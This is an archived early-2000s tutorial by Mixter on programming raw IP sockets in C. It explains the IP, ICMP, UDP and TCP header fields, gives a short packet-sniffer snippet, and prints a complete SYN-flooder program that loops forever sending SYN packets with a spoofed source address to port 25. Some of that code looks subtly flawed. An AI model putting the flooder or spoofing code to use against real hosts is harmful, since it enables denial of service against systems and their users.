home *** CD-ROM | disk | FTP | other *** search
/ WINMX Assorted Textfiles / Ebooks.tar / Text - Tech - Programming - Raw IP Sockets (TXT).zip / programming raw ip sockets.txt
Text File  |  2003-09-28  |  19KB  |  366 lines

  1.  
  2. A brief programming tutorial in C for raw sockets
  3. =================================================
  4.  
  5.  
  6. Written by Mixter for the BlackCode Magazine
  7.  
  8. In this tutorial, you'll learn the basics of using raw sockets in C, to
  9. insert any IP protocol based datagram into the network traffic. This is useful,
  10. for example, to build raw socket scanners like nmap, to spoof or to perform
  11. operations that need to send out raw sockets. Basically, you can send any
  12. packet at any time, whereas using the interface functions for your systems IP-
  13. stack (connect, write, bind, etc.) you have no direct control over the packets.
  14. This theoretically enables you to simulate the behavior of your OS's IP stack,
  15. and also to send stateless traffic (datagrams that don't belong to a valid
  16. connection). For this tutorial, all you need is a minimal knowledge of socket
  17. programming in C (see http://www.ecst.csuchico.edu/~beej/guide/net/).
  18.  
  19.  
  20. I. Raw sockets
  21.  
  22. The basic concept of low level sockets is to send a single packet at one time,
  23. with all the protocol headers filled in by the program (instead of the kernel).
  24. Unix provides two kinds of sockets that permit direct access to the network.
  25. One is SOCK_PACKET, which receives and sends data on the device link layer.
  26. This means, the NIC specific header is included in the data that will be
  27. written or read. For most networks, this is the ethernet header. Of course, all
  28. subsequent protocol headers will also be included in the data. The socket type
  29. we'll be using, however, is SOCK_RAW, which includes the IP headers and all
  30. subsequent protocol headers and data.
  31.  
  32. The (simplified) link layer model looks like this:
  33. Physical layer -> Device layer (Ethernet protocol) -> Network layer (IP) ->
  34. Transport layer (TCP, UDP, ICMP) -> Session layer (application specific data)
  35.  
  36. Now to some practical stuff. A standard command to create a datagram socket is:
  37. socket (PF_INET, SOCK_RAW, IPPROTO_UDP);
  38. From the moment that it is created, you can send any IP packets over it, and
  39. receive any IP packets that the host received after that socket was created if
  40. you read() from it. Note that even though the socket is an interface to the IP
  41. header, it is transport layer specific. That means, for listening to TCP, UDP
  42. and ICMP traffic, you have to create 3 separate raw sockets, using IPPROTO_TCP,
  43. IPPROTO_UDP and IPPROTO_ICMP (the protocol numbers are 0 or 6 for tcp, 17 for
  44. udp and 1 for icmp).
  45.  
  46. With this knowledge, we can, for example, already create a small sniffer, that
  47. dumps out the contents of all tcp packets we receive. (Headers, etc. are
  48. missing, this is just an example. As you see, we are skipping the IP and TCP
  49. headers which are contained in the packet, and print out the payload, the data
  50. of the session/application layer, only).
  51.  
  52. int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  53. char buffer[8192]; /* single packets are usually not bigger than 8192 bytes */
  54. while (read (fd, buffer, 8192) > 0)
  55.  printf ("Caught tcp packet: %s\n", 
  56.   buffer+sizeof(struct iphdr)+sizeof(struct tcphdr));
  57.  
  58.  
  59. II. The protocols IP, ICMP, TCP and UDP
  60.  
  61. To inject your own packets, all you need to know is the structures of the
  62. protocols that need to be included. Below you will find a short introduction to
  63. the IP, ICMP, TCP and UDP headers. It is recommended to build your packet by
  64. using a struct, so you can comfortably fill in the packet headers. Unix systems
  65. provide standard structures in the header files (eg. <netinet/ip.h>). You can
  66. always create your own structs, as long as the length of each option is
  67. correct. To help you create portable programs, we'll use the BSD names in our
  68. structures. We'll also use the little endian notation. On big endian machines
  69. (some other processor architectures than intel x86), the 4 bit-size variables
  70. exchange places. However, one can always use the structures in the same ways in
  71. this program. Below each header structure is a short explanation of its members,
  72. so that you know what values should be filled in and which meaning they have.
  73.  
  74. The data types/sizes we need to use are: unsigned char - 1 byte (8 bits),
  75. unsigned short int - 2 bytes (16 bits) and unsigned int - 4 bytes (32 bits)
  76.  
  77. struct ipheader {
  78.  unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
  79.  unsigned char ip_tos;
  80.  unsigned short int ip_len;
  81.  unsigned short int ip_id;
  82.  unsigned short int ip_off;
  83.  unsigned char ip_ttl;
  84.  unsigned char ip_p;
  85.  unsigned short int ip_sum;
  86.  unsigned int ip_src;
  87.  unsigned int ip_dst;
  88. }; /* total ip header length: 20 bytes (=160 bits) */
  89.  
  90. The Internet Protocol is the network layer protocol, used for routing the
  91. data from the source to its destination. Every datagram contains an IP header
  92. followed by a transport layer protocol such as tcp.
  93.  
  94. ip_hl: the ip header length in 32bit octets. this means a value of 5
  95.  for the hl means 20 bytes (5 * 4). values other than 5 only need to
  96.  be set it the ip header contains options (mostly used for routing)
  97. ip_v: the ip version is always 4 (maybe I'll write a IPv6 tutorial later;)
  98. ip_tos: type of service controls the priority of the packet. 0x00 is
  99.  normal. the first 3 bits stand for routing priority, the next 4 bits
  100.  for the type of service (delay, throughput, reliability and cost).
  101. ip_len: total length must contain the total length of the ip datagram.
  102.  this includes ip header, icmp or tcp or udp header and payload size in bytes.
  103. ip_id: the id sequence number is mainly used for reassembly of fragmented IP
  104.  datagrams. when sending single datagrams, each can have an arbitrary ID.
  105. ip_off: the fragment offset is used for reassembly of fragmented datagrams.
  106.  the first 3 bits are the fragment flags, the first one always 0, the second
  107.  the do-not-fragment bit (set by ip_off |= 0x4000) and the third the more-flag
  108.  or more-fragments-following bit (ip_off |= 0x2000). the following 13 bits is
  109.  the fragment offset, containing the number of 8-byte big packets already sent.
  110. ip_ttl: time to live is the amount of hops (routers to pass) before the packet
  111.  is discarded, and an icmp error message is returned. the maximum is 255.
  112. ip_p: the transport layer protocol. can be tcp (6), udp(17), icmp(1), or
  113.  whatever protocol follows the ip header. look in /etc/protocols for more.
  114. ip_sum: the datagram checksum for the whole ip datagram. every time anything
  115.  in the datagram changes, it needs to be recalculated, or the packet will
  116.  be discarded by the next router. see V. for a checksum function.
  117. ip_src and ip_dst: source and destination IP address, converted to long
  118.  format, e.g. by inet_addr(). both can be chosen arbitrarily.
  119.  
  120. IP itself has no mechanism for establishing and maintaining a connection, or
  121. even containing data as a direct payload. Internet Control Messaging Protocol
  122. is merely an addition to IP to carry error, routing and control messages and
  123. data, and is often considered as a protocol of the network layer.
  124.  
  125. struct icmpheader {
  126.  unsigned char icmp_type;
  127.  unsigned char icmp_code;
  128.  unsigned short int icmp_cksum;
  129.  /* The following data structures are ICMP type specific */
  130.  unsigned short int icmp_id;
  131.  unsigned short int icmp_seq;
  132. }; /* total icmp header length: 8 bytes (=64 bits) */
  133.  
  134. icmp_type: the message type, for example 0 - echo reply, 8 - echo request, 3 -
  135.  destination unreachable. look in <netinet/ip_icmp.h> for all the types.
  136. icmp_code: this is significant when sending an error message (unreach), and
  137.  specifies the kind of error. again, consult the include file for more.
  138. icmp_cksum: the checksum for the icmp header + data. same as the IP checksum.
  139. Note: The next 32 bits in an icmp packet can be used in many different ways.
  140.  This depends on the icmp type and code. the most commonly seen structure, an
  141.  ID and sequence number, is used in echo requests and replies, hence we only
  142.  use this one, but keep in mind that the header is actually more complex.
  143. icmp_id: used in echo request/reply messages, to identify the request
  144. icmp_seq: identifies the sequence of echo messages, if more than one is sent.
  145.  
  146. The User Datagram Protocol is a transport protocol for sessions that need to
  147. exchange data. Both transport protocols, UDP and TCP provide 65535 different
  148. source and destination ports. The destination port is used to connect to
  149. a specific service on that port. Unlike TCP, UDP is not reliable, since it
  150. doesn't use sequence numbers and stateful connections. This means UDP
  151. datagrams can be spoofed, and might not be reliable (e.g. they can be lost
  152. unnoticed), since they are not acknowledged using replies and sequence numbers.
  153.  
  154. struct udpheader {
  155.  unsigned short int uh_sport;
  156.  unsigned short int uh_dport;
  157.  unsigned short int uh_len;
  158.  unsigned short int uh_check;
  159. }; /* total udp header length: 8 bytes (=64 bits) */
  160.  
  161. uh_sport: The source port that a client bind()s to, and the contacted server
  162.           will reply back to in order to direct his responses to the client.
  163. uh_dport: The destination port that a specific server can be contacted on.
  164. uh_len: The length of udp header and payload data in bytes.
  165. uh_check: The checksum of header and data, see IP checksum.
  166.  
  167. The Transmission Control Protocol is the mostly used transport protocol
  168. that provides mechanisms to establish a reliable connection with some basic
  169. authentication, using connection states and sequence numbers. (See IV.)
  170.  
  171. struct tcpheader {
  172.  unsigned short int th_sport;
  173.  unsigned short int th_dport;
  174.  unsigned int th_seq;
  175.  unsigned int th_ack;
  176.  unsigned char th_x2:4, th_off:4;
  177.  unsigned char th_flags;
  178.  unsigned short int th_win;
  179.  unsigned short int th_sum;
  180.  unsigned short int th_urp;
  181. }; /* total tcp header length: 20 bytes (=160 bits) */
  182.  
  183. th_sport: The source port, which has the same function as in UDP.
  184. th_dport: The destination port, which has the same function as in UDP.
  185. th_seq: The sequence number is used to enumerate the TCP segments. The data
  186.  in a TCP connection can be contained in any amount of segments (=single tcp
  187.  datagrams), which will be put in order and acknowledged. For example, if you
  188.  send 3 segments, each containing 32 bytes of data, the first sequence would be
  189.  (N+)1, the second one (N+)33 and the third one (N+)65. "N+" because the
  190.  initial sequence is random.
  191. th_ack: Every packet that is sent and a valid part of a connection is
  192.  acknowledged with an empty TCP segment with the ACK flag set (see
  193.  below), and the th_ack field containing the previous the_seq number.
  194. th_x2: This is unused and contains binary zeroes.
  195. th_off: The segment offset specifies the length of the TCP header in
  196.  32bit/4byte blocks. Without tcp header options, the value is 5.
  197. th_flags: This field consists of six binary flags. Using bsd headers, they
  198.  can be combined like this: th_flags = FLAG1 | FLAG2 | FLAG3...
  199.   TH_URG: Urgent. Segment will be routed faster, used for termination
  200.    of a connection or to stop processes (using telnet protocol).
  201.   TH_ACK: Acknowledgement. Used to acknowledge data and in the second
  202.    and third stage of a TCP connection initiation (see IV.).
  203.   TH_PSH: Push. The systems IP stack will not buffer the segment and
  204.    forward it to the application immediately (mostly used with telnet).
  205.   TH_RST: Reset. Tells the peer that the connection has been terminated.
  206.   TH_SYN: Synchronization. A segment with the SYN flag set indicates that
  207.    client wants to initiate a new connection to the destination port.
  208.   TH_FIN: Final. The connection should be closed, the peer is supposed to
  209.    answer with one last segment with the FIN flag set as well.
  210. th_win: Window. The amount of bytes that can be sent before the data should
  211.    be acknowledged with an ACK before sending more segments.
  212. th_sum: The checksum of pseudo header, tcp header and payload. The pseudo
  213.    is a structure containing IP source and destination address, 1 byte set
  214.    to zero, the protocol (1 byte with a decimal value of 6), and 2 bytes
  215.    (unsigned short) containing the total length of the tcp segment.
  216. th_urp: Urgent pointer. Only used if the urgent flag is set, else zero. It
  217.    points to the end of the payload data that should be sent with priority.
  218.  
  219.  
  220. III. Building and injecting datagrams
  221.  
  222. Now, by putting together the knowledge about the protocol header structures
  223. with some basic C functions, it is easy to construct and send any datagram(s).
  224. We will demonstrate this with a small sample program that constantly sends
  225. out SYN requests to one host (Syn flooder).
  226.  
  227. #define __USE_BSD    /* use bsd'ish ip header */
  228. #include <sys/socket.h>    /* these headers are for a Linux system, but */
  229. #include <netinet/in.h>    /* the names on other systems are easy to guess.. */
  230. #include <netinet/ip.h>
  231. #define __FAVOR_BSD    /* use bsd'ish tcp header */
  232. #include <netinet/tcp.h>
  233. #include <unistd.h>
  234.  
  235. #define P 25        /* lets flood the sendmail port */
  236.  
  237. unsigned short        /* this function generates header checksums */
  238. csum (unsigned short *buf, int nwords)
  239. {
  240.   unsigned long sum;
  241.   for (sum = 0; nwords > 0; nwords--)
  242.     sum += *buf++;
  243.   sum = (sum >> 16) + (sum & 0xffff);
  244.   sum += (sum >> 16);
  245.   return ~sum;
  246. }
  247.  
  248. int 
  249. main (void)
  250. {
  251.   int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);    /* open raw socket */
  252.   char datagram[4096];    /* this buffer will contain ip header, tcp header,
  253.                and payload. we'll point an ip header structure
  254.                at its beginning, and a tcp header structure after
  255.                that to write the header values into it */
  256.   struct ip *iph = (struct ip *) datagram;
  257.   struct tcphdr *tcph = (struct tcphdr *) datagram + sizeof (struct ip);
  258.   struct sockaddr_in sin;
  259.             /* the sockaddr_in containing the dest. address is used
  260.                in sendto() to determine the datagrams path */
  261.  
  262.   sin.sin_family = AF_INET;
  263.   sin.sin_port = htons (P);/* you byte-order >1byte header values to network
  264.                   byte order (not needed on big endian machines) */
  265.   sin.sin_addr.s_addr = inet_addr ("127.0.0.1");
  266.  
  267.   memset (datagram, 0, 4096);    /* zero out the buffer */
  268.  
  269. /* we'll now fill in the ip/tcp header values, see above for explanations */
  270.   iph->ip_hl = 5;
  271.   iph->ip_v = 4;
  272.   iph->ip_tos = 0;
  273.   iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);    /* no payload */
  274.   iph->ip_id = htonl (54321);    /* the value doesn't matter here */
  275.   iph->ip_off = 0;
  276.   iph->ip_ttl = 255;
  277.   iph->ip_p = 6;
  278.   iph->ip_sum = 0;        /* set it to 0 before computing the actual checksum later */
  279.   iph->ip_src.s_addr = inet_addr ("1.2.3.4");/* SYN's can be blindly spoofed */
  280.   iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  281.   tcph->th_sport = htons (1234);    /* arbitrary port */
  282.   tcph->th_dport = htons (P);
  283.   tcph->th_seq = random ();/* in a SYN packet, the sequence is a random */
  284.   tcph->th_ack = 0;/* number, and the ack sequence is 0 in the 1st packet */
  285.   tcph->th_x2 = 0;
  286.   tcph->th_off = 0;        /* first and only tcp segment */
  287.   tcph->th_flags = TH_SYN;    /* initial connection request */
  288.   tcph->th_win = htonl (65535);    /* maximum allowed window size */
  289.   tcph->th_sum = 0;/* if you set a checksum to zero, your kernel's IP stack
  290.               should fill in the correct checksum during transmission */
  291.   tcph->th_urp = 0;
  292.  
  293.   iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);
  294.  
  295. /* finally, it is very advisable to do a IP_HDRINCL call, to make sure
  296.    that the kernel knows the header is included in the data, and doesn't
  297.    insert its own header into the packet before our data */
  298.  
  299.   {                /* lets do it the ugly way.. */
  300.     int one = 1;
  301.     const int *val = &one;
  302.     if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
  303.       printf ("Warning: Cannot set HDRINCL!\n");
  304.   }
  305.  
  306.   while (1)
  307.     {
  308.       if (sendto (s,        /* our socket */
  309.           datagram,    /* the buffer containing headers and data */
  310.           iph->ip_len,    /* total length of our datagram */
  311.           0,        /* routing flags, normally always 0 */
  312.           (struct sockaddr *) &sin,    /* socket addr, just like in */
  313.           sizeof (sin)) < 0)        /* a normal send() */
  314.     printf ("error\n");
  315.       else
  316.     printf (".");
  317.     }
  318.  
  319.   return 0;
  320. }
  321.  
  322.  
  323. IV. Basic transport layer operations
  324.  
  325. To make use of raw packets, knowledge of the basic IP stack operations is
  326. essential. I'll try to give a brief introduction into the most important
  327. operations in the IP stack. To learn more about the behavior of the
  328. protocols, one option is to exame the source for your systems IP stack,
  329. which, in Linux, is located in the directory /usr/src/linux/net/ipv4/.
  330. The most important protocol, of course, is TCP, on which I will focus on.
  331.  
  332. Connection initiation: to contact an udp or tcp server listening on port
  333.  1234, the client calls a connect() with the sockaddr structure containing
  334.  destination address and port. If the client did not bind() to a source
  335.  port, the systems IP stack will select one it'll bind to. By connect()ing,
  336.  the host sends a datagram containing the following information:
  337.  IP src: client address, IP dest: servers address, TCP/UDP src: clients
  338.  source port, TCP/UDP dest: port 1234. If a client is located on port 1234
  339.  on the destination host, it will reply back with a datagram containing:
  340.  IP src: server IP dst: client srcport: server port dstport: clients source port
  341.  If there is no server located on the host, an ICMP type unreach message
  342.  is created, subcode "Connection refused". The client will then terminate.
  343.  If the destination host is down, either a router will create a different ICMP
  344.  unreach message, or the client gets no reply and the connection times out.
  345.  
  346. TCP initiation ("3-way handshake") and connection: The client will do a
  347.  connection initiation, with the tcp SYN flag set, an arbitrary sequence
  348.  number, and no acknowledgement number. The server acknowledges the SYN by
  349.  sending a packet with SYN and ACK set, another random sequence number and the
  350.  acknowledgement number the original sequence. Finally, the client replies back
  351.  with a tcp datagram with the ACK flag set, and the server's ack sequence
  352.  incremented by one. Once the connection is established, each tcp segment
  353.  will be sent with no flags (PSH and URG are optional), the sequence number
  354.  for each packet incremented by the size of the previous tcp segment. After
  355.  the amount of data specified as "window size" has been transferred, the
  356.  peer sending data will wait for an acknowledgement, a tcp segment with the
  357.  ACK flag set and the ack sequence number the one of the last data packet
  358.  that could be received in order. That way, if any segments get lost, they
  359.  will not be acknowledged and can be retransmitted. To end a connection,
  360.  both server and client send a tcp packet with correct sequence numbers and
  361.  the FIN flag set, and if the connection ever de-synchronizes (aborted,
  362.  desynchronized, bad sequence numbers, etc.) the peer that notices the error
  363.  will send a RST packet with correct seq numbers to terminate the connection.
  364.  
  365.  - Mixter <mixter@newyorkoffice.com>
  366.